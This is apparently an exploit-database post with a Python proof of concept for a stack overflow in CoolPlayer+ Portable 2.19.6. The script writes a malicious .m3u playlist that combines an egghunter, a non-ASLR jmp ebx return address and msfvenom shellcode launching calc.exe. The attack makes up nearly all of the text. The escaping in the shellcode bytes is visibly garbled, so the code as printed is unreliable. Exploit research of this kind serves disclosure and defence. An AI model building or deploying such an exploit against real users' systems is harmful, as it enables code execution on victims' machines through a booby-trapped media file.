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CoolPlayer+ Portable build 2.19.6 - .m3u Stack Overflow [Egghunter+ASLR bypass]

Posted on 30 November -0001

<HTML><HEAD><TITLE>CoolPlayer+ Portable build 2.19.6 - .m3u Stack Overflow [Egghunter+ASLR bypass]</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY># Exploit Title: [CoolPlayer+ Portable build 2.19.6 - .m3u Stack Overflow [Egghunter+ASLR bypass]] 
# Exploit Author: [Karn Ganeshen] 
# Download link: [https://sourceforge.net/projects/portableapps/files/CoolPlayer%2B%20Portable/CoolPlayerPlusPortable_2.19.6.paf.exe/download?use_mirror=liquidtelecom]
# Version: [Current version 2.19.6] 
# Tested on: [Windows Vista Ultimate SP2] 
# 
# Couple of bof exploits for older versions already on EDB:
# https://www.exploit-db.com/search/?action=search&description=coolplayer
 
#!/usr/bin/python
 
total_buf = 2000
 
filename="evil.m3u"
 
# msfvenom -p windows/exec cmd=calc.exe -b x00x0ax0cd EXITFUN=thread -f c
# Payload size: 220 bytes
 
shellcode = ("xdbxdcxd9x74x24xf4x58xbbx9axc7xdbxe9x31xc9xb1"
"x31x31x58x18x83xe8xfcx03x58x8ex25x2ex15x46x2b"
"xd1xe6x96x4cx5bx03xa7x4cx3fx47x97x7cx4bx05x1b"
"xf6x19xbexa8x7axb6xb1x19x30xe0xfcx9ax69xd0x9f"
"x18x70x05x40x21xbbx58x81x66xa6x91xd3x3fxacx04"
"xc4x34xf8x94x6fx06xecx9cx8cxdex0fx8cx02x55x56"
"x0exa4xbaxe2x07xbexdfxcfxdex35x2bxbbxe0x9fx62"
"x44x4exdex4bxb7x8ex26x6bx28xe5x5ex88xd5xfexa4"
"xf3x01x8ax3ex53xc1x2cx9bx62x06xaax68x68xe3xb8"
"x37x6cxf2x6dx4cx88x7fx90x83x19x3bxb7x07x42x9f"
"xd6x1ex2ex4exe6x41x91x2fx42x09x3fx3bxffx50x55"
"xbax8dxeex1bxbcx8dxf0x0bxd5xbcx7bxc4xa2x40xae"
"xa1x5dx0bxf3x83xf5xd2x61x96x9bxe4x5fxd4xa5x66"
"x6axa4x51x76x1fxa1x1ex30xf3xdbx0fxd5xf3x48x2f"
"xfcx97x0fxa3x9cx79xaax43x06x86")
 
# Egghunter - 32 bytes
eggh = ("x66x81xcaxffx0fx42x52x6a"
"x02x58xcdx2ex3cx05x5ax74"
"xefxb8x54x30x30x57x8bxfa"
"xafx75xeaxafx75xe7xffxe7")
 
# EIP overwrite appears to depend upon location from where the evil file is loaded from
# Tested from location - C:
# For e.g. offset will be different if file is loaded from C: (260) vs C:Windows (249)
 
junk = "A"*28
eip = "xa1x99x42x00" # 0x004299a1 jmp ebx - coolplayer+.exe [noaslr,norebase,nosafeseh]
 
evil = junk + eggh + "x90"*200 + eip + "x90"*18 + "T00WT00W" + shellcode + "x90"*1490
 
file = open(filename , 'w')
file.write(evil)
file.close()
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